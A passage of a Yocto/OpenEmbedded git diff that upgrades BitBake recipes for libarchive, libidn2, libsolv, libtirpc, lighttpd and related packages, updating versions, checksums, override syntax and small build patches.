+PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
+PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
+PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
+PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
+PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
+PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
+PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
+PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
+PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd,"
+
+EXTRA_OECONF += "--enable-largefile"
+
+SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "5f245bd5176bc5f67428eb0aa497e09979264a153a074d35416521a5b8e86189"
+
+inherit autotools update-alternatives pkgconfig
+
+CPPFLAGS += "-I${WORKDIR}/extra-includes"
+
+do_configure[cleandirs] += "${WORKDIR}/extra-includes"
+do_configure:prepend() {
+ # We just need the headers for some type constants, so no need to
+ # build all of e2fsprogs for the target
+ cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
+}
+
+ALTERNATIVE_PRIORITY = "80"
+
+PACKAGES =+ "bsdtar"
+FILES:bsdtar = "${bindir}/bsdtar"
+
+ALTERNATIVE:bsdtar = "tar"
+ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
+ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
+
+PACKAGES =+ "bsdcpio"
+FILES:bsdcpio = "${bindir}/bsdcpio"
+
+ALTERNATIVE:bsdcpio = "cpio"
+ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
+ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.0.bb b/meta/recipes-extended/libidn/libidn2_2.3.0.bb
deleted file mode 100644
index 7adf924aeb..0000000000
--- a/meta/recipes-extended/libidn/libidn2_2.3.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Internationalized Domain Name support library"
-DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
-HOMEPAGE = "http://www.gnu.org/software/libidn/"
-SECTION = "libs"
-LICENSE = "(GPLv2+ | LGPLv3) & GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
- file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://src/idn2.c;endline=16;md5=426b74d6deb620ab6d39c8a6efd4c13a \
- file://lib/idn2.h.in;endline=27;md5=c2cd28d3f87260f157f022eabb83714f"
-
-SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
-SRC_URI[md5sum] = "01c5084995295e519f95978ae9785ee0"
-SRC_URI[sha256sum] = "e1cb1db3d2e249a6a3eb6f0946777c2e892d5c5dc7bd91c74394fc3a01cab8b5"
-
-DEPENDS = "virtual/libiconv libunistring"
-
-inherit pkgconfig autotools gettext texinfo gtk-doc lib_package
-
-EXTRA_OECONF += "--disable-rpath \
- --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
- "
-
-do_install_append() {
- # Need to remove any duplicate whitespace too for reproducibility
- sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
-}
-
-LICENSE_${PN} = "(GPLv2+ | LGPLv3)"
-LICENSE_${PN}-bin = "GPLv3+"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.2.bb b/meta/recipes-extended/libidn/libidn2_2.3.2.bb
new file mode 100644
index 0000000000..f1f6fcba05
--- /dev/null
+++ b/meta/recipes-extended/libidn/libidn2_2.3.2.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Internationalized Domain Name support library"
+DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
+HOMEPAGE = "http://www.gnu.org/software/libidn/"
+SECTION = "libs"
+LICENSE = "(GPLv2+ | LGPLv3) & GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
+ file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://src/idn2.c;endline=16;md5=e4b6d628a84a55f1fd8ae4c76c5f6509 \
+ file://lib/idn2.h.in;endline=27;md5=d0fc8ec628be130a1d5b889107e92477"
+
+SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "76940cd4e778e8093579a9d195b25fff5e936e9dc6242068528b437a76764f91"
+
+DEPENDS = "virtual/libiconv libunistring"
+
+inherit pkgconfig autotools gettext texinfo gtk-doc lib_package
+
+EXTRA_OECONF += "--disable-rpath \
+ --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
+ "
+
+do_install:append() {
+ # Need to remove any duplicate whitespace too for reproducibility
+ sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
+}
+
+LICENSE:${PN} = "(GPLv2+ | LGPLv3)"
+LICENSE:${PN}-bin = "GPLv3+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libnsl/libnsl2_git.bb b/meta/recipes-extended/libnsl/libnsl2_git.bb
index badb71d977..3f6ccbad70 100644
--- a/meta/recipes-extended/libnsl/libnsl2_git.bb
+++ b/meta/recipes-extended/libnsl/libnsl2_git.bb
@@ -10,11 +10,11 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS = "libtirpc"
-PV = "1.3.0"
+PV = "2.0.0"
-SRCREV = "fbad7b36acaa89a54023930af70805649f962999"
+SRCREV = "82245c0c58add79a8e34ab0917358217a70e5100"
-SRC_URI = "git://github.com/thkukuk/libnsl \
+SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/libnss-nis/libnss-nis.bb b/meta/recipes-extended/libnss-nis/libnss-nis.bb
index a1d914e871..478e9e2be3 100644
--- a/meta/recipes-extended/libnss-nis/libnss-nis.bb
+++ b/meta/recipes-extended/libnss-nis/libnss-nis.bb
@@ -17,7 +17,7 @@ PV = "3.1+git${SRCPV}"
SRCREV = "062f31999b35393abf7595cb89dfc9590d5a42ad"
-SRC_URI = "git://github.com/thkukuk/libnss_nis \
+SRC_URI = "git://github.com/thkukuk/libnss_nis;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
@@ -28,4 +28,4 @@ BBCLASSEXTEND += "native nativesdk"
#
# We will skip parsing this packagegeoup for non-glibc systems
#
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.3.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.3.bb
deleted file mode 100644
index ee15fd0644..0000000000
--- a/meta/recipes-extended/libpipeline/libpipeline_1.5.3.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-SUMMARY = "pipeline manipulation library"
-DESCRIPTION = "This is a C library for setting up and running pipelines of processes, \
-without needing to involve shell command-line parsing which is often \
-error-prone and insecure."
-HOMEPAGE = "http://libpipeline.nongnu.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
-SRC_URI[sha256sum] = "5dbf08faf50fad853754293e57fd4e6c69bb8e486f176596d682c67e02a0adb0"
-
-inherit pkgconfig autotools
-
-acpaths = "-I ${S}/gl/m4 -I ${S}/m4"
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.4.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.4.bb
new file mode 100644
index 0000000000..bfbfdc87f1
--- /dev/null
+++ b/meta/recipes-extended/libpipeline/libpipeline_1.5.4.bb
@@ -0,0 +1,14 @@
+SUMMARY = "pipeline manipulation library"
+DESCRIPTION = "This is a C library for setting up and running pipelines of processes, \
+without needing to involve shell command-line parsing which is often \
+error-prone and insecure."
+HOMEPAGE = "http://libpipeline.nongnu.org/"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
+SRC_URI[sha256sum] = "db785bddba0a37ef14b4ef82ae2d18b8824e6983dfb9910319385e28df3f1a9c"
+
+inherit pkgconfig autotools
+
+acpaths = "-I ${S}/gl/m4 -I ${S}/m4"
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
new file mode 100644
index 0000000000..6f0dea2e9c
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
@@ -0,0 +1,34 @@
+From 06321f1a2aa89b8e028946e793344657eaad0165 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 28 Oct 2021 22:28:45 -0700
+Subject: [PATCH] utils: Conside musl when wrapping qsort_r
+
+musl now has implemented qsort_r, the signature however matches glibc
+and not BSD, current check makes it such that it falls into BSD case
+when building for musl, which clearly is wrong, therefore instead of
+just checking for glibc check for linux to decide which qsort_r
+signature to use. This covers both glibc and musl
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/util.c b/src/util.c
+index 72426e09..8f29bc5a 100644
+--- a/src/util.c
++++ b/src/util.c
+@@ -159,7 +159,7 @@ solv_setcloexec(int fd, int state)
+
+ see also: http://sources.redhat.com/ml/libc-alpha/2008-12/msg00003.html
+ */
+-#if (defined(__GLIBC__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
++#if (defined(__linux__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
+
+ void
+ solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard)
+--
+2.33.1
+
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.16.bb b/meta/recipes-extended/libsolv/libsolv_0.7.16.bb
deleted file mode 100644
index f7902727c4..0000000000
--- a/meta/recipes-extended/libsolv/libsolv_0.7.16.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Library for solving packages and reading repositories"
-HOMEPAGE = "https://github.com/openSUSE/libsolv"
-BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
-
-DEPENDS = "expat zlib"
-
-SRC_URI = "git://github.com/openSUSE/libsolv.git \
-"
-
-SRCREV = "7046fb004987c7f1b3722628d9a4ca1c67577188"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
-PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON -DENABLE_RPMDB_BDB=ON,,rpm"
-
-EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON"
-
-PACKAGES =+ "${PN}-tools ${PN}ext"
-
-FILES_${PN}-tools = "${bindir}/*"
-FILES_${PN}ext = "${libdir}/${PN}ext.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.20.bb b/meta/recipes-extended/libsolv/libsolv_0.7.20.bb
new file mode 100644
index 0000000000..f0ba9553e7
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv_0.7.20.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Library for solving packages and reading repositories"
+DESCRIPTION = "This is libsolv, a free package dependency solver using a satisfiability algorithm for solving packages and reading repositories"
+HOMEPAGE = "https://github.com/openSUSE/libsolv"
+BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
+
+DEPENDS = "expat zlib"
+
+SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https \
+ file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \
+"
+
+SRCREV = "f618e6aae1d44be633b2ab91d4fd4f4f974f4d40"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
+PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm"
+
+EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON"
+
+PACKAGES =+ "${PN}-tools ${PN}ext"
+
+FILES:${PN}-tools = "${bindir}/*"
+FILES:${PN}ext = "${libdir}/${PN}ext.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb b/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb
deleted file mode 100644
index 10a324c3b6..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Transport-Independent RPC library"
-DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
-SECTION = "libs/network"
-HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
- file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
-
-PROVIDES = "virtual/librpc"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2"
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
-SRC_URI[md5sum] = "b25f9cc18bfad50f7c446c77f4ae00bb"
-SRC_URI[sha256sum] = "4278e9a5181d5af9cd7885322fdecebc444f9a3da87c526e7d47f7a12a37d1cc"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--disable-gssapi"
-
-do_install_append() {
- chown root:root ${D}${sysconfdir}/netconfig
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb b/meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb
new file mode 100644
index 0000000000..45b3d2befc
--- /dev/null
+++ b/meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Transport-Independent RPC library"
+DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
+SECTION = "libs/network"
+HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
+ file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
+
+PROVIDES = "virtual/librpc"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
+SRC_URI[sha256sum] = "e24eb88b8ce7db3b7ca6eb80115dd1284abc5ec32a8deccfed2224fc2532b9fd"
+
+inherit autotools pkgconfig
+
+EXTRA_OECONF = "--disable-gssapi"
+
+do_install:append() {
+ chown root:root ${D}${sysconfdir}/netconfig
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
deleted file mode 100644
index f17bdce2c0..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 22afc5d9aaa215c3c87ba21c77d47da44ab3b113 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 26 Aug 2016 18:20:32 +0300
-Subject: [PATCH] Use pkg-config for pcre dependency instead of -config script.
-
-RP 2014/5/22
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 16 ++++++++++++----
- 1 file changed, 12 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 5383cec..c29a902 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -651,10 +651,18 @@ AC_ARG_WITH([pcre],
- )
- AC_MSG_RESULT([$WITH_PCRE])
-
--if test "$WITH_PCRE" != no; then
-- if test "$WITH_PCRE" != yes; then
-- PCRE_LIB="-L$WITH_PCRE/lib -lpcre"
-- CPPFLAGS="$CPPFLAGS -I$WITH_PCRE/include"
-+if test "$WITH_PCRE" != "no"; then
-+ PKG_CHECK_MODULES(PCREPKG, [libpcre], [
-+ PCRE_LIB=${PCREPKG_LIBS}
-+ CPPFLAGS="$CPPFLAGS ${PCREPKG_CFLAGS}"
-+ ], [
-+ AC_MSG_ERROR([pcre pkgconfig not found, install the pcre-devel package or build with --without-pcre])
-+ ])
-+
-+ if test x"$PCRE_LIB" != x; then
-+ AC_DEFINE([HAVE_LIBPCRE], [1], [libpcre])
-+ AC_DEFINE([HAVE_PCRE_H], [1], [pcre.h])
-+ AC_SUBST(PCRE_LIB)
- else
- AC_PATH_PROG([PCRECONFIG], [pcre-config])
- if test -n "$PCRECONFIG"; then
---
-2.15.0
-
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb
deleted file mode 100644
index 7a255ce2f2..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb
+++ /dev/null
@@ -1,83 +0,0 @@
-SUMMARY = "Lightweight high-performance web server"
-HOMEPAGE = "http://www.lighttpd.net/"
-BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
-
-SECTION = "net"
-RDEPENDS_${PN} = "lighttpd-module-dirlisting \
- lighttpd-module-indexfile \
- lighttpd-module-staticfile"
-RRECOMMENDS_${PN} = "lighttpd-module-access \
- lighttpd-module-accesslog"
-
-SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
- file://index.html.lighttpd \
- file://lighttpd.conf \
- file://lighttpd \
- file://0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch \
- "
-
-SRC_URI[md5sum] = "be4bda2c28bcbdac6eb941528f6edf03"
-SRC_URI[sha256sum] = "6a0b50e9c9d5cc3d9e48592315c25a2d645858f863e1ccd120507a30ce21e927"
-
-PACKAGECONFIG ??= "openssl pcre zlib \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
-"
-
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
-PACKAGECONFIG[mmap] = "--enable-mmap,--disable-mmap"
-PACKAGECONFIG[libev] = "--with-libev,--without-libev,libev"
-PACKAGECONFIG[mysql] = "--with-mysql,--without-mysql,mariadb"
-PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
-PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
-PACKAGECONFIG[valgrind] = "--with-valgrind,--without-valgrind,valgrind"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
-PACKAGECONFIG[krb5] = "--with-krb5,--without-krb5,krb5"
-PACKAGECONFIG[pcre] = "--with-pcre,--without-pcre,libpcre"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
-PACKAGECONFIG[webdav-props] = "--with-webdav-props,--without-webdav-props,libxml2 sqlite3"
-PACKAGECONFIG[webdav-locks] = "--with-webdav-locks,--without-webdav-locks,util-linux"
-PACKAGECONFIG[gdbm] = "--with-gdbm,--without-gdbm,gdbm"
-PACKAGECONFIG[memcache] = "--with-memcached,--without-memcached,libmemcached"
-PACKAGECONFIG[lua] = "--with-lua,--without-lua,lua"
-
-EXTRA_OECONF += "--enable-lfs --without-fam"
-
-inherit autotools pkgconfig update-rc.d gettext systemd
-
-INITSCRIPT_NAME = "lighttpd"
-INITSCRIPT_PARAMS = "defaults 70"
-
-SYSTEMD_SERVICE_${PN} = "lighttpd.service"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
- install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
- install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
- install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@BASE_BINDIR@,${base_bindir},g' \
- ${D}${systemd_unitdir}/system/lighttpd.service
- #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
- ln -sf ${localstatedir}/log ${D}/www/logs
- ln -sf ${localstatedir}/tmp ${D}/www/var
-}
-
-FILES_${PN} += "${sysconfdir} /www"
-
-CONFFILES_${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
-
-PACKAGES_DYNAMIC += "^lighttpd-module-.*"
-
-python populate_packages_prepend () {
- lighttpd_libdir = d.expand('${libdir}')
- do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
-}
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.63.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.63.bb
new file mode 100644
index 0000000000..41d6319e1b
--- /dev/null
+++ b/meta/recipes-extended/lighttpd/lighttpd_1.4.63.bb
@@ -0,0 +1,81 @@
+SUMMARY = "Lightweight high-performance web server"
+HOMEPAGE = "http://www.lighttpd.net/"
+DESCRIPTION = "Lightweight high-performance web server is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more)"
+BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
+
+SECTION = "net"
+RDEPENDS:${PN} = "lighttpd-module-dirlisting \
+ lighttpd-module-indexfile \
+ lighttpd-module-staticfile"
+RRECOMMENDS:${PN} = "lighttpd-module-access \
+ lighttpd-module-accesslog"
+
+SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
+ file://index.html.lighttpd \
+ file://lighttpd.conf \
+ file://lighttpd \
+ "
+
+SRC_URI[sha256sum] = "2aef7f0102ebf54a1241a1c3ea8976892f8684bfb21697c9fffb8de0e2d6eab9"
+
+DEPENDS = "virtual/crypt"
+
+PACKAGECONFIG ??= "openssl pcre zlib \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
+"
+
+PACKAGECONFIG[libev] = "-Dwith_libev=true,-Dwith_libev=false,libev"
+PACKAGECONFIG[mysql] = "-Dwith_mysql=true,-Dwith_mysql=false,mariadb"
+PACKAGECONFIG[ldap] = "-Dwith_ldap=true,-Dwith_ldap=false,openldap"
+PACKAGECONFIG[attr] = "-Dwith_xattr=true,-Dwith_xattr=false,attr"
+PACKAGECONFIG[openssl] = "-Dwith_openssl=true,-Dwith_openssl=false,openssl"
+PACKAGECONFIG[krb5] = "-Dwith_krb5=true,-Dwith_krb5=false,krb5"
+PACKAGECONFIG[pcre] = "-Dwith_pcre=true,-Dwith_pcre=false,libpcre"
+PACKAGECONFIG[zlib] = "-Dwith_zlib=true,-Dwith_zlib=false,zlib"
+PACKAGECONFIG[bzip2] = "-Dwith_bzip=true,-Dwith_bzip=false,bzip2"
+PACKAGECONFIG[webdav-props] = "-Dwith_webdav_props=true,-Dwith_webdav_props=false,libxml2 sqlite3"
+PACKAGECONFIG[webdav-locks] = "-Dwith_webdav_locks=true,-Dwith_webdav_locks=false,util-linux"
+PACKAGECONFIG[gdbm] = "-Dwith_gdbm=true,-Dwith_gdbm=false,gdbm"
+PACKAGECONFIG[memcache] = "-Dwith_memcached=true,-Dwith_memcached=false,libmemcached"
+PACKAGECONFIG[lua] = "-Dwith_lua=true,-Dwith_lua=false,lua"
+PACKAGECONFIG[zstd] = "-Dwith_zstd=true,-Dwith_zstd=false,zstd"
+
+inherit meson pkgconfig update-rc.d gettext systemd
+
+INITSCRIPT_NAME = "lighttpd"
+INITSCRIPT_PARAMS = "defaults 70"
+
+SYSTEMD_SERVICE:${PN} = "lighttpd.service"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
+ install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
+ install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
+ install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ ${D}${systemd_system_unitdir}/lighttpd.service
+ #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
+ ln -sf ${localstatedir}/log ${D}/www/logs
+ ln -sf ${localstatedir}/tmp ${D}/www/var
+}
+
+# bitbake.conf sets ${libdir}/${BPN}/* in FILES, which messes up the module split.
+# So we re-do the variable.
+FILES:${PN} = "${sysconfdir} /www ${sbindir}"
+
+CONFFILES:${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
+
+PACKAGES_DYNAMIC += "^lighttpd-module-.*"
+
+python populate_packages:prepend () {
+ lighttpd_libdir = d.expand('${prefix}/lib/lighttpd')
+ do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
+}
diff --git a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch b/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
index 671fce4ac8..4efd471906 100644
--- a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
+++ b/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
@@ -6,7 +6,7 @@ Subject: [PATCH] Act as the "mv" command when rotate log
Act as the "mv" command when rotate log, first rename, if failed, then
read and write.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [needs a rework according to https://github.com/logrotate/logrotate/pull/429]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
diff --git a/meta/recipes-extended/logrotate/logrotate_3.17.0.bb b/meta/recipes-extended/logrotate/logrotate_3.17.0.bb
deleted file mode 100644
index 08001f38e5..0000000000
--- a/meta/recipes-extended/logrotate/logrotate_3.17.0.bb
+++ /dev/null
@@ -1,91 +0,0 @@
